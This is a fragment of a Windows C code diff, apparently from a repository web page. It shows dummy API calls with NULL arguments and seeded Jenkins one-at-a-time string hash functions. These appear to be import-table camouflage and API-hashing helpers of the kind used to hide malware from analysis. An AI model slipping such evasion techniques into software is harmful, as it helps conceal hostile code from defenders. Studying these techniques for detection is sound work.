i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
i = IsDialogMessageW(NULL, NULL);
|
||||
}
|
||||
|
||||
// Freeing the buffer allocated in 'Helper'
|
||||
HeapFree(GetProcessHeap(), 0, pAddress);
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
#include <windows.h>
|
||||
#include "common.h"
|
||||
|
||||
UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
|
||||
{
|
||||
SIZE_T Index = 0;
|
||||
UINT32 Hash = 0;
|
||||
SIZE_T Length = lstrlenA(String);
|
||||
|
||||
while (Index != Length)
|
||||
{
|
||||
Hash += String[Index++];
|
||||
Hash += Hash << INITIAL_SEED;
|
||||
Hash ^= Hash >> 6;
|
||||
}
|
||||
|
||||
Hash += Hash << 3;
|
||||
Hash ^= Hash >> 11;
|
||||
Hash += Hash << 15;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
|
||||
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
|
||||
{
|
||||
SIZE_T Index = 0;
|
||||
UINT32 Hash = 0;
|
||||
SIZE_T Length = lstrlenW(String);
|
||||
|
||||
while (Index != Length)
|
||||
{
|
||||
Hash += String[Index++];
|
||||
Hash += Hash << INITIAL_SEED;
|
||||
Hash ^= Hash >> 6;
|
||||
}
|
||||
|
||||
Hash += Hash << 3;
|
||||
Hash ^= Hash >> 11;
|
||||
Hash += Hash << 15;
|
||||
|
||||
return Hash;
|
||||
}
|
||||
Reference in New Issue
Block a user